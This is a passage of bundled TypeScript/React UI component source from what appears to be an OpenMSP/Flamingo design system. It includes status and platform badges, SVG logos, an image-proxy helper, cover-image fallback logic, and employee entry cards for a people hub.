\"bg-ods-bg-surface text-ods-text-primary\",\n        // Border-only variants (no background) - for task type badges\n        accentBorder: \"bg-transparent border-2 text-ods-accent border-ods-accent\",\n        errorBorder: \"bg-transparent border-2 text-ods-error border-ods-error\",\n        whiteBorder: \"bg-transparent border-2 text-ods-text-primary border-ods-text-primary\",\n      },\n    },\n    defaultVariants: {\n      variant: \"card\",\n      colorScheme: \"default\",\n    },\n  }\n);\n\n/**\n * OpenFrame generation badge tint — the ONE ramp for the `gen` mode below.\n * Per product direction: the TEXT colour is constant (the full platform\n * `--ods-accent`) so every generation stays equally legible; only the BACKGROUND\n * opacity steps down (Gen1 strongest → later gens fainter). Returns the % of the\n * accent mixed into the badge background. */\nexport function genBadgeBgOpacity(gen: number): number {\n  if (gen <= 1) return 30;\n  if (gen === 2) return 18;\n  return Math.max(10 - (gen - 3) * 6, 4);\n}\n\n/** Parse the whole-number gen tier out of a ClickUp Target Version label\n *  (\"Gen1\", \"Gen1.5\", \"Gen2\" → 1, 1, 2). Fractional gens share the tier's tint.\n *  Returns 1 when no digit is present. */\nexport function generationTierFromLabel(label: string | null | undefined): number {\n  const m = /(\\d+)/.exec(label ?? '');\n  const n = m ? parseInt(m[1], 10) : 1;\n  return Number.isFinite(n) && n > 0 ? n : 1;\n}\n\nexport interface StatusBadgeProps\n  extends React.HTMLAttributes<HTMLSpanElement>,\n    VariantProps<typeof statusBadgeVariants> {\n  text: string;\n  /**\n   * When true, renders `text` verbatim on a single line, bypassing the\n   * default multi-word vertical-stack behavior used by `variant=\"button\"`.\n   * Use this for compact inline contexts (e.g. chat-inline roadmap cards)\n   * where the stamp-like stacked layout is undesirable.\n   */\n  singleLine?: boolean;\n  /**\n   * OpenFrame generation mode. Pass the gen number (1/2/3…) to render THIS badge\n   * as a generation chip: constant full-accent text on a progressive-opacity\n   * accent background (see {@link genBadgeBgOpacity}), and the `text` shown in\n   * its SSOT ClickUp casing (\"Gen1\", not uppercased) so it matches the label\n   * everywhere else in the product. Overrides `colorScheme`. The one unified\n   * gen badge — do NOT build a parallel component.\n   */\n  gen?: number;\n}\n\nfunction StatusBadge({\n  text,\n  variant,\n  colorScheme,\n  className,\n  singleLine,\n  gen,\n  style,\n  ...props\n}: StatusBadgeProps) {\n  // Generation mode: constant full-accent text, progressive-opacity accent bg,\n  // SSOT casing (textTransform:none overrides the base `uppercase`). Inline\n  // style so it wins over any colorScheme class regardless of CSS source order.\n  const genStyle: React.CSSProperties | undefined =\n    gen != null\n      ? {\n          textTransform: 'none',\n          color: 'var(--ods-accent)',\n          backgroundColor: `color-mix(in srgb, var(--ods-accent) ${genBadgeBgOpacity(gen)}%, transparent)`,\n        }\n      : undefined;\n  // Outer element is `<span>` so the badge is HTML-valid in any inline\n  // context (e.g. inside a markdown `<p>` next to a compact chat card,\n  // or inside an `<a>`). The `inline-flex` base class in\n  // `statusBadgeVariants` keeps the layout identical to the previous\n  // `<div>` outer — only the element name changed.\n  //\n  // Escape hatch: callers can pass `singleLine` to opt out of the\n  // multi-word stacking applied for `variant=\"button\"`. This is needed\n  // for compact inline contexts (chat-inline roadmap cards) where the\n  // default stamp-like vertical stack (\"TO\" / \"DO\") breaks layout.\n  const renderText = () => {\n    if (singleLine) return text;\n    if (variant === 'button' && text.includes(' ')) {\n      const words = text.split(' ');\n      return (\n        <span className=\"flex flex-col items-center justify-center text-center gap-0\">\n          {words.map((word, index) => (\n            <span key={index} className=\"block\">{word}</span>\n          ))}\n        </span>\n      );\n    }\n    return text;\n  };\n\n  return (\n    <span\n      className={cn(\n        statusBadgeVariants({ variant, colorScheme: gen != null ? undefined : colorScheme }),\n        className,\n      )}\n      style={genStyle ? { ...genStyle, ...style } : style}\n      {...props}\n    >\n      {renderText()}\n    </span>\n  );\n}\n\nexport { StatusBadge, statusBadgeVariants };","'use client'\n\n/**\n * THE common cover-image fallback chain for entity cards:\n *   real cover → branded placeholder → nothing (hide the media element).\n *\n * One hook so no card hand-rolls its own `imageError` state / `displayImage`\n * ternary (they drift: the pre-hook BlogCard chain couldn't recover from a\n * FAILING placeholder, EntityPortraitCard duplicated the same logic with\n * different state). Cards wire `src` + `onError` and render their own\n * empty-state when `src` is null.\n *\n * Implementation note: state is the SET of candidate URLs that failed, and\n * `src` is derived — so a prop change (new cover URL) re-resolves instantly\n * with no reset effect, and a URL that failed once isn't retried in a loop.\n */\n\nimport { useCallback, useState, type SyntheticEvent } from 'react'\n\nexport interface CoverImageFallback {\n  /** Resolved source: first non-failed of [imageUrl, placeholderUrl], else null. */\n  src: string | null\n  /** Wire to the media element's `onError`. */\n  onError: () => void\n}\n\nexport function useCoverImageFallback(\n  imageUrl?: string | null,\n  placeholderUrl?: string | null,\n): CoverImageFallback {\n  const [failed, setFailed] = useState<ReadonlySet<string>>(() => new Set())\n\n  const src =\n    imageUrl && !failed.has(imageUrl) ? imageUrl\n    : placeholderUrl && !failed.has(placeholderUrl) ? placeholderUrl\n    : null\n\n  const onError = useCallback(() => {\n    if (!src) return\n    setFailed(prev => new Set(prev).add(src))\n  }, [src])\n\n  return { src, onError }\n}\n\n/** Fallback for cards with NO placeholder chain (compact/sm image slots):\n *  a broken cover simply disappears, leaving the slot's background. */\nexport const hideOnError = (e: SyntheticEvent<HTMLImageElement>) => {\n  ;(e.currentTarget as HTMLImageElement).style.display = 'none'\n}\n","'use client'\n\nimport React, { useState, useEffect } from 'react'\nimport Image from '../../../embed-shims/next-image'\nimport { cn } from '../../../utils/cn'\nimport { useImageEdgeColor } from '../../../hooks/ui/use-image-edge-color'\nimport { PlatformBadge } from '../../features/platform-badge'\n\ninterface PlatformInfo {\n  platform_id?: string\n  id?: string\n  name: string\n  display_name?: string\n}\n\ninterface AdminContentCardProps {\n  /** Cover image URL */\n  imageUrl?: string | null\n  /** Pre-computed placeholder URL used when `imageUrl` is missing or\n   *  fails to load. Hub callers pass `useOgPlaceholderUrl({ title })`; embedders\n   *  supply their own URL or leave null for a plain background fallback. */\n  placeholderUrl?: string | null\n  /** Alt text / fallback title */\n  title: string\n  /** Summary or description text */\n  summary?: string | null\n  /** Subtitle line (e.g. customer name) */\n  subtitle?: string | null\n  /** Platform badges */\n  platforms?: PlatformInfo[]\n  /** Status/info badges rendered after platform badges */\n  badges?: React.ReactNode\n  /** Meta info row (date, views, etc.) */\n  meta?: React.ReactNode\n  /** Action buttons row */\n  actions?: React.ReactNode\n  /** Additional class names */\n  className?: string\n}\n\nexport function AdminContentCard({\n  imageUrl,\n  placeholderUrl,\n  title,\n  summary,\n  subtitle,\n  platforms,\n  badges,\n  meta,\n  actions,\n  className,\n}: AdminContentCardProps) {\n  const [imageError, setImageError] = useState(false)\n  const [imageLoaded, setImageLoaded] = useState(false)\n  const displayUrl = (imageUrl && !imageError) ? imageUrl : placeholderUrl\n  const imageBgColor = useImageEdgeColor(displayUrl || null, 'transparent')\n\n  // Reset loading state when the displayed image URL changes\n  useEffect(() => {\n    setImageLoaded(false)\n  }, [displayUrl])\n\n  return (\n    <article className={cn(\n      'group h-full overflow-hidden rounded-2xl',\n      'border border-ods-border bg-ods-card',\n      'flex flex-col',\n      'transition-all duration-300 ease-out',\n      'hover:-translate-y-1 hover:shadow-lg hover:shadow-ods-accent/[0.08]',\n      'hover:border-ods-accent',\n      className,\n    )}>\n      {/* Cover Image — 3:2 aspect ratio, centered with edge-color fill */}\n      <div\n        className=\"relative aspect-[3/2] w-full overflow-hidden shrink-0\"\n        style={{ backgroundColor: imageBgColor }}\n      >\n        {displayUrl ? (\n          <>\n            {!imageLoaded && (\n              <div className=\"absolute inset-0 animate-pulse bg-ods-border/20\" />\n            )}\n            <Image\n              src={displayUrl}\n              alt={title}\n              fill\n              sizes=\"(min-width: 1280px) 33vw, (min-width: 768px) 50vw, 100vw\"\n              className={cn(\n                'object-contain object-center',\n                'transition-transform duration-500 ease-out',\n                'group-hover:scale-[1.03]',\n                imageLoaded ? 'opacity-100' : 'opacity-0',\n              )}\n              unoptimized\n              onLoad={() => setImageLoaded(true)}\n              onError={() => setImageError(true)}\n            />\n          </>\n        ) : (\n          <div className=\"absolute inset-0 bg-ods-bg\" />\n        )}\n      </div>\n\n      {/* Content */}\n      <div className=\"flex flex-1 flex-col gap-3 p-5\">\n        {/* Title */}\n        <h3 className=\"text-h3 text-ods-text-primary line-clamp-2 break-words\">\n          {title}\n        </h3>\n\n        {/* Subtitle (optional) */}\n        {subtitle && (\n          <p className=\"text-h6 text-ods-text-secondary truncate\">\n            {subtitle}\n          </p>\n        )}\n\n        {/* Summary */}\n        {summary && (\n          <p className=\"text-h6 text-ods-text-secondary line-clamp-2\">\n            {summary}\n          </p>\n        )}\n\n        {/* Badges row */}\n        {(Number(platforms?.length) > 0 || badges) && (\n          <div className=\"flex items-center gap-2 flex-wrap\">\n            {platforms?.map((p) => (\n              <PlatformBadge\n                key={p.platform_id || p.id}\n                platform={{ id: p.id || p.platform_id || '', name: p.name, display_name: p.display_name || p.name }}\n                size=\"xs\"\n              />\n            ))}\n            {badges}\n          </div>\n        )}\n\n        {/* Meta row */}\n        {meta && (\n          <div className=\"flex items-center gap-3 text-h6 text-ods-text-secondary\">\n            {meta}\n          </div>\n        )}\n\n        {/* Actions — pushed to bottom */}\n        {actions && (\n          <div className=\"flex items-center justify-between mt-auto pt-3 border-t border-ods-border\">\n            {actions}\n          </div>\n        )}\n      </div>\n    </article>\n  )\n}\n","\"use client\"\n\nimport React from 'react';\nimport { cn } from '../../utils/cn';\nimport { FlamingoLogo } from '../flamingo-logo';\nimport { OpenmspLogo } from '../openmsp-logo';\nimport { OpenFrameLogo } from '../icons/openframe-logo';\nimport { MiamiCyberGangLogoFaceOnly } from '../icons/miami-cyber-gang-logo-face-only';\nimport { Globe } from 'lucide-react';\n\ninterface PlatformBadgeProps {\n  platform?: {\n    id: string;\n    name: string;\n    display_name: string;\n  } | null;\n  size?: 'xs' | 'sm' | 'md';\n  showLabel?: boolean;\n  className?: string;\n}\n\nconst sizeClasses = {\n  xs: {\n    container: 'gap-1 px-1.5 py-0.5',\n    icon: 'h-3 w-3',\n    text: 'text-h6'\n  },\n  sm: {\n    container: 'gap-1.5 px-2 py-1',\n    icon: 'h-4 w-4',\n    text: 'text-h6'\n  },\n  md: {\n    container: 'gap-2 px-2.5 py-1.5',\n    icon: 'h-5 w-5',\n    text: 'text-h6'\n  }\n};\n\nconst platformColors = {\n  'openmsp': {\n    bg: 'bg-[#FFC008]/10',\n    border: 'border-[#FFC008]/30',\n    text: 'text-[#FFC008]'\n  },\n  'flamingo': {\n    bg: 'bg-[#FF006E]/10',\n    border: 'border-[#FF006E]/30',\n    text: 'text-[#FF006E]'\n  },\n  'flamingo-teaser': {\n    bg: 'bg-[#FF006E]/10',\n    border: 'border-[#FF006E]/30',\n    text: 'text-[#FF006E]'\n  },\n  'openframe': {\n    bg: 'bg-[#00D9D9]/10',\n    border: 'border-[#00D9D9]/30',\n    text: 'text-[#00D9D9]'\n  },\n  'tmcg': {\n    bg: 'bg-[#F357BB]/10',\n    border: 'border-[#F357BB]/30',\n    text: 'text-[#F357BB]'\n  },\n  'company-hub': {\n    bg: 'bg-[#f36666]/10',\n    border: 'border-[#f36666]/30',\n    text: 'text-[#f36666]'\n  },\n  'marketing-hub': {\n    bg: 'bg-[#F357BB]/10',\n    border: 'border-[#F357BB]/30',\n    text: 'text-[#F357BB]'\n  },\n  'product-hub': {\n    bg: 'bg-[#5EA62E]/10',\n    border: 'border-[#5EA62E]/30',\n    text: 'text-[#5EA62E]'\n  },\n  'revenue-hub': {\n    bg: 'bg-[#FFC008]/10',\n    border: 'border-[#FFC008]/30',\n    text: 'text-[#FFC008]'\n  },\n  'people-hub': {\n    bg: 'bg-[#5EFAF0]/10',\n    border: 'border-[#5EFAF0]/30',\n    text: 'text-[#5EFAF0]'\n  },\n  'universal': {\n    bg: 'bg-[#6B7280]/10',\n    border: 'border-[#6B7280]/30',\n    text: 'text-[#6B7280]'\n  }\n};\n\nconst PlatformIcon = ({ platform, className }: { platform: string; className: string }) => {\n  // Extract size from className (h-4 w-4 -> 16, h-5 w-5 -> 20, etc.)\n  const sizeMatch = className.match(/h-(\\d+)/);\n  const size = sizeMatch ? parseInt(sizeMatch[1]) * 4 : 16; // Convert Tailwind size to pixels\n\n  switch (platform) {\n    case 'openmsp':\n      return <OpenmspLogo className={className} frontBubbleColor=\"currentColor\" innerFrontBubbleColor=\"#000000\" backBubbleColor=\"currentColor\" />;\n    case 'flamingo':\n    case 'flamingo-teaser':\n      return <FlamingoLogo className={className} />;\n    case 'openframe':\n      return <OpenFrameLogo className={className} />;\n    case 'tmcg':\n      return <MiamiCyberGangLogoFaceOnly size={size} className={className} />;\n    case 'company-hub':\n    case 'marketing-hub':\n    case 'product-hub':\n    case 'revenue-hub':\n    case 'people-hub':\n      return <FlamingoLogo className={className} fill=\"currentColor\" />;\n    default:\n      return <Globe className={className} />;\n  }\n};\n\nexport function PlatformBadge({ \n  platform, \n  size = 'sm',\n  showLabel = true,\n  className \n}: PlatformBadgeProps) {\n  if (!platform) {\n    return null;\n  }\n\n  const sizes = sizeClasses[size];\n  const colors = platformColors[platform.name as keyof typeof platformColors] || platformColors.universal;\n\n  return (\n    <div\n      className={cn(\n        'inline-flex items-center rounded-full border',\n        sizes.container,\n        colors.bg,\n        colors.border,\n        colors.text,\n        'font-body font-medium',\n        className\n      )}\n    >\n      <PlatformIcon platform={platform.name} className={sizes.icon} />\n      {showLabel && (\n        <span className={sizes.text}>\n          {platform.display_name || platform.name}\n        </span>\n      )}\n    </div>\n  );\n}","import React from 'react';\n\ninterface FlamingoLogoProps extends React.SVGProps<SVGSVGElement> {\n  className?: string;\n  size?: number;\n  color?: string;\n}\n\nexport function FlamingoLogo({ className = '', color=\"var(--ods-flamingo-pink-base)\" ,size=120, ...props }: FlamingoLogoProps) {\n  return (\n    <svg\n      width={size}\n      height={size} \n      viewBox=\"0 0 121 120\" \n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n      {...props}\n    >\n      <path \n        fillRule=\"evenodd\" \n        clipRule=\"evenodd\" \n        d=\"M20.8645 77.9756C20.6306 78.095 20.3452 77.9582 20.3369 77.7002C20.2055 73.6173 23.4398 62.2314 27.7657 59.0452C31.477 45.9806 61.8811 24.0208 81.7715 48.2044C83.1662 49.7884 84.0264 52.0978 84.7512 54.0436C86.0615 57.5613 86.9291 59.8908 89.7117 54.5977C92.4782 49.335 87.2725 42.2381 81.701 34.6426C75.7955 26.5918 69.4791 17.9808 71.8102 10.4001C75.4609 -1.47146 91.9849 -4.33245 94.5422 7.89834C98.4226 10.7002 104.422 17.0815 96.2751 25.8554C96.0466 26.1014 95.6263 25.9453 95.6104 25.6132C95.417 21.5769 93.9498 16.1177 90.5641 14.5697C89.0187 13.8632 88.0307 13.6723 87.1405 13.5003C85.585 13.1998 84.3282 12.9569 80.919 10.1221C75.236 5.39658 75.236 20.1291 87.7386 32.3599C97.1156 41.533 106.493 66.2324 84.0287 70.9981C74.9174 72.9311 68.0892 72.0015 61.3076 71.0782C61.0953 71.0493 60.8831 71.0204 60.6708 70.9916V89.3274L66.3745 91.8104C67.0914 92.1225 67.4139 92.944 67.0949 93.6453C66.7759 94.3466 65.9362 94.6621 65.2193 94.35L60.6708 92.37V118.61C60.6708 119.378 60.0347 120 59.2501 120C58.4654 120 57.8293 119.378 57.8293 118.61V91.133L42.4873 84.4542C42.0611 84.2686 41.7551 83.8902 41.6687 83.4417C41.5824 82.9931 41.7266 82.5317 42.0546 82.2072L54.1527 70.2377C45.537 69.536 35.8193 70.3474 20.8645 77.9756ZM57.7692 70.613L45.5202 82.732L57.8293 88.0905V70.6204C57.8093 70.618 57.7893 70.6155 57.7692 70.613Z\" \n        fill={color}\n      />\n    </svg>\n  );\n} ","import React from 'react';\n\ninterface OpenmspLogoProps extends React.SVGProps<SVGSVGElement> {\n  className?: string;\n  frontBubbleColor?: string;\n  innerFrontBubbleColor?: string;\n  backBubbleColor?: string;\n  color?: string;\n}\n\nexport function OpenmspLogo({ className = '', frontBubbleColor = '#000000', innerFrontBubbleColor = '#ffffff', backBubbleColor = '#ffffff', ...props }: OpenmspLogoProps) {\n  return (\n    <svg\n      width=\"97\"\n      height=\"96\"\n      viewBox=\"0 0 97 96\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n      {...props}\n    >\n      <path\n        d=\"M73.933 0C75.7003 0 77.133 1.43269 77.133 3.2V54.4C77.133 56.1673 75.7003 57.6 73.933 57.6H3.53301C1.7657 57.6 0.333008 56.1673 0.333008 54.4V3.2C0.333008 1.43269 1.7657 0 3.53301 0H73.933ZM10.1076 47.6494C10.1076 48.0912 10.4658 48.4494 10.9076 48.4494H66.5584C67.0002 48.4494 67.3584 48.0912 67.3584 47.6494V9.95059C67.3584 9.50876 67.0002 9.15059 66.5584 9.15059H10.9076C10.4658 9.15059 10.1076 9.50876 10.1076 9.95059V47.6494Z\"\n        fill={backBubbleColor} />\n      <path\n        d=\"M19.5332 22.4C19.5332 20.6326 20.9659 19.2 22.7332 19.2H93.1332C94.9005 19.2 96.3332 20.6326 96.3332 22.4V76.8C96.3332 78.2222 95.3945 79.4737 94.0292 79.8719L39.7572 95.7013C39.2452 95.8506 38.7332 95.4666 38.7332 94.9333V80C38.7332 79.5581 38.375 79.2 37.9332 79.2H22.7332C20.9659 79.2 19.5332 77.7673 19.5332 76V22.4Z\"\n        fill={innerFrontBubbleColor} />\n      <path\n        d=\"M93.1332 19.2C94.9005 19.2 96.3332 20.6326 96.3332 22.4V76.8C96.3332 78.2222 95.3945 79.4737 94.0292 79.8719L39.7572 95.7013C39.2452 95.8506 38.7332 95.4666 38.7332 94.9333V80C38.7332 79.5581 38.375 79.2 37.9332 79.2H22.7332C20.9659 79.2 19.5332 77.7673 19.5332 76V22.4C19.5332 20.6326 20.9659 19.2 22.7332 19.2H93.1332ZM48.3377 82.1286C48.3355 82.6633 48.8484 83.0497 49.3617 82.9L86.1572 72.1672C86.4985 72.0676 86.7332 71.7547 86.7332 71.3992V29.6C86.7332 29.1581 86.375 28.8 85.9332 28.8H29.9332C29.4914 28.8 29.1332 29.1581 29.1332 29.6V68.8C29.1332 69.2418 29.4914 69.6 29.9332 69.6H47.5869C48.03 69.6 48.3887 69.9602 48.3869 70.4033L48.3377 82.1286Z\"\n        fill={frontBubbleColor} />\n      <circle\n        cx=\"45.1334\" cy=\"44.8\" r=\"6.4\"\n        fill={frontBubbleColor} />\n    </svg>\n  );\n}\n","/**\n * Utility functions for handling image proxy URLs\n */\n\n/**\n * Get proxied image URL for external images\n * If it's an external HTTP/HTTPS URL, proxy it through our API\n * Otherwise, return the original URL\n */\nexport function getProxiedImageUrl(imageUrl: string | null): string | null {\n  if (!imageUrl) return null;\n  \n  // If it's an external HTTP/HTTPS URL, determine if we should proxy it\n  if (imageUrl.startsWith('http://') || imageUrl.startsWith('https://')) {\n    // Skip if it's already our own proxy URL\n    if (imageUrl.includes('/api/image-proxy')) {\n      return imageUrl;\n    }\n    \n    // Skip proxying for OpenMSP-owned domains (e.g., app.openmsp.ai, cdn.openmsp.ai, etc.)\n    if (imageUrl.includes('openmsp.ai')) {\n      return imageUrl;\n    }\n    \n    return `/api/image-proxy?url=${encodeURIComponent(imageUrl)}`;\n  }\n  \n  // Return local/relative images as-is\n  return imageUrl;\n}\n\n/**\n * Check if an image URL needs to be proxied\n */\nexport function shouldProxyImage(imageUrl: string | null): boolean {\n  if (!imageUrl) return false;\n  \n  // Proxy external HTTP/HTTPS URLs that aren't already proxied\n  return (imageUrl.startsWith('http://') || imageUrl.startsWith('https://')) && \n         !imageUrl.includes('/api/image-proxy');\n}","import React from 'react'\nimport { AdminContentCard } from './admin-content-card'\nimport { getProxiedImageUrl } from '../../../utils/image-proxy-stub'\n\n/** The fields every people-hub employee entry shares. Entity-specific bindings\n *  (`WhatIShippedCard`, `HowIWorkCard`) map their own date column to `dateLabel`\n *  and pass the rest through unchanged. */\nexport interface EmployeeEntryCardData {\n  title?: string | null\n  summary?: string | null\n  status?: string | null\n  featured_image?: string | null\n  main_video_thumbnail?: string | null\n  author?: { full_name?: string | null; avatar_url?: string | null } | null\n}\n\nexport interface EmployeeEntryCardProps {\n  entry: EmployeeEntryCardData\n  /** Already-formatted date shown in the meta row. Bindings own the format so\n   *  the UTC-pin convention stays in `utils/format`, not in the card. */\n  dateLabel?: string | null\n  /** Extra badges rendered after the status badge (e.g. discipline / level). */\n  extraBadges?: React.ReactNode\n  /** Fallback title when the entry has none — names the entity in the empty case. */\n  untitledLabel?: string\n  /** OG fallback cover. Caller computes it (hub: `useOgPlaceholderUrl`; related\n   *  rail: `extras.buildOgPlaceholderUrl`). */\n  placeholderUrl?: string | null\n  /** Owner action row (dashboard). Omit for a read-only card. */\n  actions?: React.ReactNode\n  /** When provided, the WHOLE card becomes a link (related-rail click-through).\n   *  Don't combine with `actions` (nested interactive). */\n  anchorProps?: React.AnchorHTMLAttributes<HTMLAnchorElement>\n  className?: string\n}\n\nconst STATUS_BADGE_CLASS: Record<string, string> = {\n  published: 'bg-ods-success-secondary text-ods-success',\n  draft: 'bg-ods-warning-secondary text-ods-warning',\n  archived: 'bg-ods-border text-ods-text-secondary',\n  // Design-doc lifecycle (product-hub) — same ODS pairs, no new palette.\n  in_review: 'bg-ods-warning-secondary text-ods-warning',\n  approved: 'bg-ods-success-secondary text-ods-success',\n  building: 'bg-ods-success-secondary text-ods-success',\n  shipped: 'bg-ods-success-secondary text-ods-success',\n  abandoned: 'bg-ods-border text-ods-text-secondary',\n}\n\n/** Shared badge treatment so an entity's own badges (discipline, level) sit\n *  flush with the status badge instead of re-deriving the classes per card. */\nexport function EmployeeEntryBadge({ children }: { children: React.ReactNode }) {\n  return (\n    <span className=\"px-2 py-1 rounded text-xs font-medium bg-ods-card border border-ods-border text-ods-text-secondary\">\n      {children}\n    </span>\n  )\n}\n\n/**\n * THE people-hub employee-entry card. Wraps `AdminContentCard` with the canonical\n * mapping (cover = featured_image || main_video_thumbnail, OG placeholder\n * fallback, title, 140-char summary, status badge, author avatar+name + a date\n * label). Every entity that renders \"an employee's entry\" binds to this one\n * engine — What I Shipped and How I Work differ only in which date column they\n * format and which extra badges they add, so the card itself cannot drift\n * between the dashboard and the related-content rail.\n */\nexport function EmployeeEntryCard({\n  entry,\n  dateLabel,\n  extraBadges,\n  untitledLabel = 'Untitled entry',\n  placeholderUrl,\n  actions,\n  anchorProps,\n  className,\n}: EmployeeEntryCardProps) {\n  const card = (\n    <AdminContentCard\n      imageUrl={entry.featured_image || entry.main_video_thumbnail}\n      placeholderUrl={placeholderUrl}\n      title={entry.title || untitledLabel}\n      summary={(entry.summary ?? '').slice(0, 140) || 'No description'}\n      badges={\n        entry.status || extraBadges ? (\n          <>\n            {entry.status ? (\n              <span\n                className={`px-2 py-1 rounded text-xs font-medium ${\n                  STATUS_BADGE_CLASS[entry.status] ?? 'bg-ods-card border border-ods-border text-ods-text-secondary'\n                }`}\n              >\n                {entry.status}\n              </span>\n            ) : null}\n            {extraBadges}\n          </>\n        ) : null\n      }\n      meta={\n        <>\n          <span className=\"flex items-center gap-2 min-w-0\">\n            {entry.author?.avatar_url ? (\n              <img src={getProxiedImageUrl(entry.author.avatar_url) ?? entry.author.avatar_url} alt=\"\" className=\"h-5 w-5 rounded-full object-cover shrink-0\" />\n            ) : null}\n            <span className=\"truncate\">{entry.author?.full_name ?? ''}</span>\n          </span>\n          {dateLabel ? <span>{dateLabel}</span> : null}\n        </>\n      }\n      actions={actions}\n      className={className}\n    />\n  )\n  return anchorProps ? (\n    <a {...anchorProps} className=\"block h-full\">\n      {card}\n    </a>\n  ) : (\n    card\n  )\n}\n\n/** Loading skeleton matching EmployeeEntryCard's AdminContentCard shape (3:2 cover\n *  + title / summary / meta lines). Used by the related-content rail while a\n *  group hydrates so there's no shape jump when the real card lands. */\nexport function EmployeeEntryCardSkeleton({ className }: { className?: string }) {\n  // Same convention as BlogCardSkeleton et al.: animate-pulse on the container,\n  // `bg-ods-bg` placeholder blocks, flex-grow body with an `mt-auto` avatar+name\n  // row. Shape mirrors EmployeeEntryCard's AdminContentCard (rounded-2xl, 3:2 cover).\n  return (\n    <div className={`group bg-ods-card border border-ods-border rounded-2xl overflow-hidden h-full flex flex-col animate-pulse ${className ?? ''}`}>\n      <div className=\"aspect-[3/2] bg-ods-bg\" />\n      <div className=\"p-4 flex flex-col flex-grow space-y-3\">\n        <div className=\"h-5 w-3/4 bg-ods-bg rounded\" />\n        <div className=\"h-3 w-full bg-ods-bg/60 rounded\" />\n        <div className=\"h-3 w-4/5 bg-ods-bg/60 rounded\" />\n        <div className=\"mt-auto flex items-center gap-2\">\n          <div className=\"h-8 w-8 rounded-full bg-ods-bg\" />\n          <div className=\"h-3 w-24 bg-ods-bg/60 rounded\" />\n        </div>\n      </div>\n    </div>\n  )\n}\n","import React from 'react'\nimport { EmployeeEntryCard, EmployeeEntryCardSkeleton, type EmployeeEntryCardData } from './employee-entry-card'\nimport { formatEntryMonthUTC } from '../../../utils/format'\n\n/** Minimal row shape the card renders. Both the hub dashboard entry and the\n *  related-content hydrated row satisfy it structurally. */\nexport interface WhatIShippedCardData extends EmployeeEntryCardData {\n  entry_month?: string | null\n}\n\nexport interface WhatIShippedCardProps {\n  entry: WhatIShippedCardData\n  /** OG fallback cover. Caller computes it (hub: `useOgPlaceholderUrl`; related\n   *  rail: `extras.buildOgPlaceholderUrl`). */\n  placeholderUrl?: string | null\n  /** Owner action row (dashboard). Omit for a read-only card. */\n  actions?: React.ReactNode\n  /** When provided, the WHOLE card becomes a link (related-rail click-through).\n   *  Don't combine with `actions` (nested interactive). */\n  anchorProps?: React.AnchorHTMLAttributes<HTMLAnchorElement>\n  className?: string\n}\n\n/**\n * THE single \"What I Shipped\" card — a thin binding over `EmployeeEntryCard`\n * that maps the reporting month to the shared meta date. Used by BOTH the\n * people-hub dashboard (with owner `actions`) and the related-content rail\n * (with `anchorProps` for click-through), so the card is byte-identical\n * everywhere — one engine, one mapping, no drift.\n */\nexport function WhatIShippedCard({ entry, placeholderUrl, actions, anchorProps, className }: WhatIShippedCardProps) {\n  return (\n    <EmployeeEntryCard\n      entry={entry}\n      dateLabel={formatEntryMonthUTC(entry.entry_month, 'short')}\n      placeholderUrl={placeholderUrl}\n      actions={actions}\n      anchorProps={anchorProps}\n      className={className}\n    />\n  )\n}\n\n/** Loading skeleton matching WhatIShippedCard's shape. Shared with every other\n *  employee-entry card so the rail's placeholder never diverges from the card. */\nexport const WhatIShippedCardSkeleton = EmployeeEntryCardSkeleton\n","import React from 'react'\nimport {\n  EmployeeEntryCard,\n  EmployeeEntryCardSkeleton,\n  EmployeeEntryBadge,\n  type EmployeeEntryCardData,\n} from './employee-entry-card'\nimport { formatDateUTC } from '../../../utils/format'\n\n/** Minimal row shape the card renders. Both the hub dashboard entry and the\n *  related-content hydrated row satisfy it structurally. */\nexport interface HowIWorkCardData extends EmployeeEntryCardData {\n  session_date?: string | null\n  /** Which craft the session is about — surfaced as a badge so a reader\n   *  scanning the grid can tell a sales workflow from an engineering one. */\n  discipline?: string | null\n}\n\nexport interface HowIWorkCardProps {\n  entry: HowIWorkCardData\n  /** OG fallback cover. Caller computes it (hub: `useOgPlaceholderUrl`; related\n   *  rail: `extras.buildOgPlaceholderUrl`). */\n  placeholderUrl?: string | null\n  /** Owner action row (dashboard). Omit for a read-only card. */\n  actions?: React.ReactNode\n  /** When provided, the WHOLE card becomes a link (related-rail click-through).\n   *  Don't combine with `actions` (nested interactive). */\n  anchorProps?: React.AnchorHTMLAttributes<HTMLAnchorElement>\n  className?: string\n}\n\n/** `ops` is an initialism, so the generic capitalize would render it \"Ops\" —\n *  fine — but `session_date`-style multiword disciplines need the underscore\n *  stripped too. One place, so the badge matches the filter chip exactly. */\nfunction disciplineLabel(discipline: string): string {\n  return discipline.replace(/_/g, ' ').replace(/\\b\\w/g, (ch) => ch.toUpperCase())\n}\n\n/**\n * THE single \"How I Work\" card — a thin binding over `EmployeeEntryCard` that\n * maps the session date to the shared meta date and adds the discipline badge.\n * Used by BOTH the people-hub dashboard (with owner `actions`) and the\n * related-content rail (with `anchorProps`), so the card cannot drift between\n * the two surfaces.\n */\nexport function HowIWorkCard({ entry, placeholderUrl, actions, anchorProps, className }: HowIWorkCardProps) {\n  return (\n    <EmployeeEntryCard\n      entry={entry}\n      // `formatDateUTC` anchors date-only strings to UTC midnight, which is what\n      // keeps the label from shifting a day between server and client render.\n      dateLabel={entry.session_date ? formatDateUTC(entry.session_date, { fallback: '' }) || null : null}\n      extraBadges={entry.discipline ? <EmployeeEntryBadge>{disciplineLabel(entry.discipline)}</EmployeeEntryBadge> : null}\n      untitledLabel=\"Untitled session\"\n      placeholderUrl={placeholderUrl}\n      actions={actions}\n      anchorProps={anchorProps}\n      className={className}\n    />\n  )\n}\n\n/** Loading skeleton matching HowIWorkCard's shape. Shared with every other\n *  employee-entry card so the rail's placeholder never diverges from the card. */\nexport const HowIWorkCardSkeleton = EmployeeEntryCardSkeleton\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as TabsPrimitive from \"@radix-ui/react-tabs\"\n\nimport { cn } from \"../../utils/cn\"\n\n/**\n * @deprecated Use `TabNavigation` from `components/ui/tab-navigation` — the\n * single canonical tab component (ODS tokens, URL-sync, overflow scroll\n * shadows). This Radix-based `Tabs` set (a duplicate of `components/tabs.tsx`)\n * styles itself with legacy shadcn tokens (`bg-muted`, `text-foreground`,\n * `ring-ring`) that don't exist in ODS and is kept only for un-migrated call\n * sites. Do not use in new code — EXCEPT `variant=\"admin-rail\"`, the sanctioned\n * ODS underline-tab styling for admin config surfaces 